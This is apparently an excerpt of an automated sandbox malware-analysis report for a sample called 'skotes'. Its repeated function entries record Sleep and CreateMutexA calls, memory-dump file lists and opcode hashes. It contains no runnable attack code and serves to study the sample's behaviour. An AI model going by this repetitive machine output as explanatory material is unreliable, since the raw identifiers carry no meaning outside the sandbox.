sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000002.00000002.1805531307.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805553534.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805617060.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805638239.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805658873.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805704278.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805731134.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805867007.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805891821.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805921059.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805943623.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805977214.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806001328.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806101785.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806127901.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806187981.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806210879.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806234537.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806266177.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806290907.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806312268.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806336515.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806385040.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806414847.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806436844.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806480919.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806509260.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806560584.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806590822.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806612933.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806656439.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806684656.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806739794.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806763903.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806787206.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806808860.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806830974.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806850105.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806870737.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806921820.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807011131.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807032224.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807158328.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807203422.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807225189.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807249013.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807270609.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: 5008150b582a1a0ada7517c4d345b2ac8e9649af7c6d4e9b0f3c5644bf982224
Instruction ID: a04c83bbce209f7c7b98d134f6dff385ffc7467e51444d81cf70da7f4f165022
Opcode Fuzzy Hash: 5008150b582a1a0ada7517c4d345b2ac8e9649af7c6d4e9b0f3c5644bf982224
Instruction Fuzzy Hash: 7C317B716042048BEB1ADB78DDC9B5DBBB6EFC1310F20C619E014EB3DAC77559808752

Function 00369F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000002.00000002.1805531307.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805553534.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805617060.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805638239.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805658873.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805704278.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805731134.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805867007.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805891821.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805921059.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805943623.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805977214.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806001328.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806101785.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806127901.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806187981.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806210879.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806234537.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806266177.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806290907.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806312268.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806336515.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806385040.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806414847.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806436844.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806480919.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806509260.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806560584.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806590822.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806612933.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806656439.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806684656.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806739794.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806763903.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806787206.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806808860.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806830974.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806850105.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806870737.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806921820.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807011131.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807032224.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807158328.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807203422.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807225189.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807249013.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807270609.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: c2519339ba8e163b379243e634077d7915fc5929c8500a62b0365804b314c7ff
Instruction ID: f902e2459294f5d9286b2095697ae3e532a7f523340aad87a2c6c3ac0bd9fff0
Opcode Fuzzy Hash: c2519339ba8e163b379243e634077d7915fc5929c8500a62b0365804b314c7ff
Instruction Fuzzy Hash: 49315B316142049BEF2A9B78DD85BADB7B6EFC5310F30C619E114EB3DAC77659808B12

Function 0036A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000002.00000002.1805531307.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805553534.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805617060.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805638239.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805658873.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805704278.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805731134.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805867007.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805891821.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805921059.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805943623.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805977214.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806001328.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806101785.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806127901.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806187981.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806210879.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806234537.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806266177.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806290907.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806312268.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806336515.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806385040.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806414847.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806436844.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806480919.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806509260.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806560584.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806590822.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806612933.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806656439.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806684656.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806739794.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806763903.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806787206.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806808860.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806830974.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806850105.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806870737.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806921820.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807011131.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807032224.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807158328.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807203422.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807225189.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807249013.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807270609.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: b75fe4a47689e53aabd6d10c723020711de8b7b7821c697fc0589725865d851a
Instruction ID: 4c79e11deb30a5180339cfeda9390a9f737b59ca6d4d23b2fc1425eed48c768d
Opcode Fuzzy Hash: b75fe4a47689e53aabd6d10c723020711de8b7b7821c697fc0589725865d851a
Instruction Fuzzy Hash: EF316A716146049BEB1A9B78CD85B5DB7B2DF82314F20C619E014EB3D9C77659808B12

Function 0036A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000002.00000002.1805531307.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805553534.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805617060.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805638239.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805658873.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805704278.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805731134.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805867007.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805891821.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805921059.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805943623.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805977214.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806001328.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806101785.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806127901.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806187981.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806210879.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806234537.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806266177.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806290907.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806312268.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806336515.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806385040.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806414847.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806436844.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806480919.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806509260.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806560584.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806590822.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806612933.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806656439.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806684656.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806739794.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806763903.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806787206.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806808860.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806830974.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806850105.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806870737.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806921820.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807011131.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807032224.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807158328.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807203422.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807225189.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807249013.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807270609.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: 6bf38449e9cf5770ae5e14958d62b8019cfc1337e6d77932a69333f0400fbbb3
Instruction ID: 847f680b421c5806206cac8283e74d37d961618573e95ea88bd48a3ee44141f5
Opcode Fuzzy Hash: 6bf38449e9cf5770ae5e14958d62b8019cfc1337e6d77932a69333f0400fbbb3
Instruction Fuzzy Hash: D5316A316046049BFB1A9B78DD89B5DB7B2EFC6310F20CA19E114AB3D9D77659808B12

Function 0036A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000002.00000002.1805531307.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805553534.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805617060.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805638239.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805658873.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805704278.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805731134.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805867007.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805891821.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805921059.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805943623.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805977214.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806001328.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806101785.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806127901.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806187981.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806210879.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806234537.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806266177.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806290907.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806312268.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806336515.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806385040.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806414847.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806436844.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806480919.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806509260.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806560584.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806590822.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806612933.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806656439.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806684656.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806739794.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806763903.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806787206.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806808860.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806830974.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806850105.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806870737.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806921820.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807011131.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
